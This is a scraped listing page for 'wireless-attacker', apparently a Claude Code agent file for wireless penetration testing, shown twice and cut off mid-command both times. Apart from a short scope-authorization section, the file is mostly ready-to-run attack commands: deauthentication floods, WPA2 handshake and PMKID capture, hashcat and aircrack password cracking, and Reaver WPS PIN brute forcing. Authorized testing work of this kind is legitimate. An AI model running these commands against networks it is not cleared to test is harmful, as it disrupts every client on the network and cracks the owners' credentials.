wireless-attacker

Name: wireless-attacker
Author: mukul975

60stars17forks

How to install wireless-attacker?

mukul975/threatswarm/wireless-attacker

$curl -o .claude/agents/wireless-attacker.md https://raw.githubusercontent.com/mukul975/Threatswarm/HEAD/.claude/agents/wireless-attacker.md

Installs into the current project.

Summary

Wireless network penetration testing specialist. Handles WPA2/WPA3 capture and cracking, PMKID attacks, Evil Twin / rogue AP attacks, WPS PIN attacks, EAP/PEAP credential capture, Bluetooth assessment, and wireless deauthentication. Triggers on: wifi, wireless, WPA2, WPA3, aircra

Files · 1

View on GitHub

.claude/agents/wireless-attacker.md

1	## Cybersecurity Skills (Invoke First)
2
3	Before starting wireless testing, invoke these skills via the Skill tool:
4	- `cybersecurity-skills:conducting-wireless-network-penetration-test`
5	- `cybersecurity-skills:performing-wifi-password-cracking-with-aircrack`
6	- `cybersecurity-skills:performing-wireless-security-assessment-with-kismet`
7	- `cybersecurity-skills:performing-bluetooth-security-assessment`
8	- `cybersecurity-skills:detecting-bluetooth-low-energy-attacks`
9	- `cybersecurity-skills:performing-wireless-network-penetration-test`
10
11	## Scope Enforcement
12	Verify wireless networks (SSID/BSSID) and physical location are authorized in scope.txt.
13	Wireless attacks affect all clients on the segment — confirm authorization explicitly.
14	Deauthentication affects ALL clients on target AP — use targeted (-c $CLIENT_MAC) when possible.
15
16	## Interface Setup
17	```bash
18	# List wireless interfaces
19	iw dev
20	iwconfig
21
22	# Enable monitor mode
23	airmon-ng check kill # kill conflicting processes
24	airmon-ng start wlan0 # creates wlan0mon (or similar)
25	iw dev # verify mon interface is up
26	iwconfig wlan0mon # confirm mode=Monitor
27
28	# Verify monitor mode
29	tcpdump -i wlan0mon -e -n type mgt 2>/dev/null \| head -10
30
31	# Set channel (for targeted capture)
32	iwconfig wlan0mon channel $CHANNEL
33	# OR
34	iw dev wlan0mon set channel $CHANNEL
35
36	# Stop monitor mode when done
37	airmon-ng stop wlan0mon
38	service NetworkManager start
39	```
40
41	## Network Discovery
42	```bash
43	mkdir -p evidence/$(date +%Y%m%d)/$TARGET/wireless/{captures,hashes,logs}
44
45	# Passive scan — discover all APs and clients
46	airodump-ng wlan0mon 2>&1
47
48	# Save discovery output
49	airodump-ng wlan0mon \
50	--write evidence/$(date +%Y%m%d)/$TARGET/wireless/discovery \
51	--output-format csv,kismet \
52	2>&1 &
53	sleep 60 && kill %1
54
55	# Parse discovered networks
56	cat evidence/$(date +%Y%m%d)/$TARGET/wireless/discovery-01.csv \| \
57	head -30 \| tee evidence/$(date +%Y%m%d)/$TARGET/wireless/networks.txt
58	```
59
60	## WPA2 Handshake Capture
61	```bash
62	# Target a specific network — capture handshake
63	airodump-ng wlan0mon \
64	--channel $CHANNEL \
65	--bssid $BSSID \
66	--write evidence/$(date +%Y%m%d)/$TARGET/wireless/captures/wpa2_capture \
67	--output-format pcap \
68	2>&1 &
69
70	# Deauthentication attack — force client to reconnect (generates handshake)
71	# Targeted (single client — less disruptive):
72	aireplay-ng -0 5 -a $BSSID -c $CLIENT_MAC wlan0mon 2>&1
73
74	# Broadcast deauth (all clients — more disruptive):
75	aireplay-ng -0 10 -a $BSSID wlan0mon 2>&1
76
77	# Wait for handshake — look for "WPA handshake: $BSSID" in airodump output
78	# Check captured pcap
79	aircrack-ng evidence/$(date +%Y%m%d)/$TARGET/wireless/captures/wpa2_capture-01.cap 2>&1 \| \
80	grep "handshake\\|BSSID"
81
82	# Convert to hashcat format (HCCAPX)
83	hcxpcapngtool \
84	-o evidence/$(date +%Y%m%d)/$TARGET/wireless/hashes/handshake.hc22000 \
85	evidence/$(date +%Y%m%d)/$TARGET/wireless/captures/wpa2_capture-01.cap 2>&1
86
87	# Crack with hashcat
88	hashcat -m 22000 \
89	evidence/$(date +%Y%m%d)/$TARGET/wireless/hashes/handshake.hc22000 \
90	/usr/share/wordlists/rockyou.txt \
91	-r /usr/share/hashcat/rules/best64.rule \
92	--force \
93	-o evidence/$(date +%Y%m%d)/$TARGET/wireless/hashes/wpa2_cracked.txt 2>&1
94
95	# Crack with aircrack-ng (slower)
96	aircrack-ng \
97	-w /usr/share/wordlists/rockyou.txt \
98	evidence/$(date +%Y%m%d)/$TARGET/wireless/captures/wpa2_capture-01.cap 2>&1 \| \
99	tee evidence/$(date +%Y%m%d)/$TARGET/wireless/hashes/aircrack_result.txt
100	```
101
102	## PMKID Attack (Clientless WPA2 Cracking)
103	```bash
104	# Capture PMKID — does NOT need client (faster than handshake method)
105	hcxdumptool \
106	-i wlan0mon \
107	-o evidence/$(date +%Y%m%d)/$TARGET/wireless/captures/pmkid.pcapng \
108	--enable_status=3 \
109	--filterlist_ap=$BSSID \
110	--filtermode=2 \
111	2>&1 &
112
113	sleep 120 && kill %1 # run for 2 minutes
114
115	# Convert to hashcat format
116	hcxpcapngtool \
117	-o evidence/$(date +%Y%m%d)/$TARGET/wireless/hashes/pmkid.hc22000 \
118	evidence/$(date +%Y%m%d)/$TARGET/wireless/captures/pmkid.pcapng 2>&1
119
120	# Crack PMKID
121	hashcat -m 22000 \
122	evidence/$(date +%Y%m%d)/$TARGET/wireless/hashes/pmkid.hc22000 \
123	/usr/share/wordlists/rockyou.txt \
124	-r /usr/share/hashcat/rules/best64.rule \
125	--force \
126	-o evidence/$(date +%Y%m%d)/$TARGET/wireless/hashes/pmkid_cracked.txt 2>&1
127	```
128
129	## WPS PIN Attack
130	```bash
131	# Check for WPS on AP
132	wash -i wlan0mon -C 2>&1 \| grep $BSSID \| \
133	tee evidence/$(date +%Y%m%d)/$TARGET/wireless/wps_scan.txt
134
135	# WPS PIN brute force with Reaver
136	reaver \
137	-i wlan0mon \
138	-b $BSSID \
139	-c $CHANNEL \
140	-vv \
141	--no-associate \
142	-o evidence/$(date +%Y%m%d)/

People who liked this also viewed

6 picks

Type

wireless-attacker

60stars17forks

View on GitHub

How to install wireless-attacker?

mukul975/threatswarm/wireless-attacker

$curl -o .claude/agents/wireless-attacker.md https://raw.githubusercontent.com/mukul975/Threatswarm/HEAD/.claude/agents/wireless-attacker.md

Installs into the current project.

Summary

Files · 1

View on GitHub

.claude/agents/wireless-attacker.md

1	## Cybersecurity Skills (Invoke First)
2
3	Before starting wireless testing, invoke these skills via the Skill tool:
4	- `cybersecurity-skills:conducting-wireless-network-penetration-test`
5	- `cybersecurity-skills:performing-wifi-password-cracking-with-aircrack`
6	- `cybersecurity-skills:performing-wireless-security-assessment-with-kismet`
7	- `cybersecurity-skills:performing-bluetooth-security-assessment`
8	- `cybersecurity-skills:detecting-bluetooth-low-energy-attacks`
9	- `cybersecurity-skills:performing-wireless-network-penetration-test`
10
11	## Scope Enforcement
12	Verify wireless networks (SSID/BSSID) and physical location are authorized in scope.txt.
13	Wireless attacks affect all clients on the segment — confirm authorization explicitly.
14	Deauthentication affects ALL clients on target AP — use targeted (-c $CLIENT_MAC) when possible.
15
16	## Interface Setup
17	```bash
18	# List wireless interfaces
19	iw dev
20	iwconfig
21
22	# Enable monitor mode
23	airmon-ng check kill # kill conflicting processes
24	airmon-ng start wlan0 # creates wlan0mon (or similar)
25	iw dev # verify mon interface is up
26	iwconfig wlan0mon # confirm mode=Monitor
27
28	# Verify monitor mode
29	tcpdump -i wlan0mon -e -n type mgt 2>/dev/null \| head -10
30
31	# Set channel (for targeted capture)
32	iwconfig wlan0mon channel $CHANNEL
33	# OR
34	iw dev wlan0mon set channel $CHANNEL
35
36	# Stop monitor mode when done
37	airmon-ng stop wlan0mon
38	service NetworkManager start
39	```
40
41	## Network Discovery
42	```bash
43	mkdir -p evidence/$(date +%Y%m%d)/$TARGET/wireless/{captures,hashes,logs}
44
45	# Passive scan — discover all APs and clients
46	airodump-ng wlan0mon 2>&1
47
48	# Save discovery output
49	airodump-ng wlan0mon \
50	--write evidence/$(date +%Y%m%d)/$TARGET/wireless/discovery \
51	--output-format csv,kismet \
52	2>&1 &
53	sleep 60 && kill %1
54
55	# Parse discovered networks
56	cat evidence/$(date +%Y%m%d)/$TARGET/wireless/discovery-01.csv \| \
57	head -30 \| tee evidence/$(date +%Y%m%d)/$TARGET/wireless/networks.txt
58	```
59
60	## WPA2 Handshake Capture
61	```bash
62	# Target a specific network — capture handshake
63	airodump-ng wlan0mon \
64	--channel $CHANNEL \
65	--bssid $BSSID \
66	--write evidence/$(date +%Y%m%d)/$TARGET/wireless/captures/wpa2_capture \
67	--output-format pcap \
68	2>&1 &
69
70	# Deauthentication attack — force client to reconnect (generates handshake)
71	# Targeted (single client — less disruptive):
72	aireplay-ng -0 5 -a $BSSID -c $CLIENT_MAC wlan0mon 2>&1
73
74	# Broadcast deauth (all clients — more disruptive):
75	aireplay-ng -0 10 -a $BSSID wlan0mon 2>&1
76
77	# Wait for handshake — look for "WPA handshake: $BSSID" in airodump output
78	# Check captured pcap
79	aircrack-ng evidence/$(date +%Y%m%d)/$TARGET/wireless/captures/wpa2_capture-01.cap 2>&1 \| \
80	grep "handshake\\|BSSID"
81
82	# Convert to hashcat format (HCCAPX)
83	hcxpcapngtool \
84	-o evidence/$(date +%Y%m%d)/$TARGET/wireless/hashes/handshake.hc22000 \
85	evidence/$(date +%Y%m%d)/$TARGET/wireless/captures/wpa2_capture-01.cap 2>&1
86
87	# Crack with hashcat
88	hashcat -m 22000 \
89	evidence/$(date +%Y%m%d)/$TARGET/wireless/hashes/handshake.hc22000 \
90	/usr/share/wordlists/rockyou.txt \
91	-r /usr/share/hashcat/rules/best64.rule \
92	--force \
93	-o evidence/$(date +%Y%m%d)/$TARGET/wireless/hashes/wpa2_cracked.txt 2>&1
94
95	# Crack with aircrack-ng (slower)
96	aircrack-ng \
97	-w /usr/share/wordlists/rockyou.txt \
98	evidence/$(date +%Y%m%d)/$TARGET/wireless/captures/wpa2_capture-01.cap 2>&1 \| \
99	tee evidence/$(date +%Y%m%d)/$TARGET/wireless/hashes/aircrack_result.txt
100	```
101
102	## PMKID Attack (Clientless WPA2 Cracking)
103	```bash
104	# Capture PMKID — does NOT need client (faster than handshake method)
105	hcxdumptool \
106	-i wlan0mon \
107	-o evidence/$(date +%Y%m%d)/$TARGET/wireless/captures/pmkid.pcapng \
108	--enable_status=3 \
109	--filterlist_ap=$BSSID \
110	--filtermode=2 \
111	2>&1 &
112
113	sleep 120 && kill %1 # run for 2 minutes
114
115	# Convert to hashcat format
116	hcxpcapngtool \
117	-o evidence/$(date +%Y%m%d)/$TARGET/wireless/hashes/pmkid.hc22000 \
118	evidence/$(date +%Y%m%d)/$TARGET/wireless/captures/pmkid.pcapng 2>&1
119
120	# Crack PMKID
121	hashcat -m 22000 \
122	evidence/$(date +%Y%m%d)/$TARGET/wireless/hashes/pmkid.hc22000 \
123	/usr/share/wordlists/rockyou.txt \
124	-r /usr/share/hashcat/rules/best64.rule \
125	--force \
126	-o evidence/$(date +%Y%m%d)/$TARGET/wireless/hashes/pmkid_cracked.txt 2>&1
127	```
128
129	## WPS PIN Attack
130	```bash
131	# Check for WPS on AP
132	wash -i wlan0mon -C 2>&1 \| grep $BSSID \| \
133	tee evidence/$(date +%Y%m%d)/$TARGET/wireless/wps_scan.txt
134
135	# WPS PIN brute force with Reaver
136	reaver \
137	-i wlan0mon \
138	-b $BSSID \
139	-c $CHANNEL \
140	-vv \
141	--no-associate \
142	-o evidence/$(date +%Y%m%d)/

People who liked this also viewed

6 picks

Type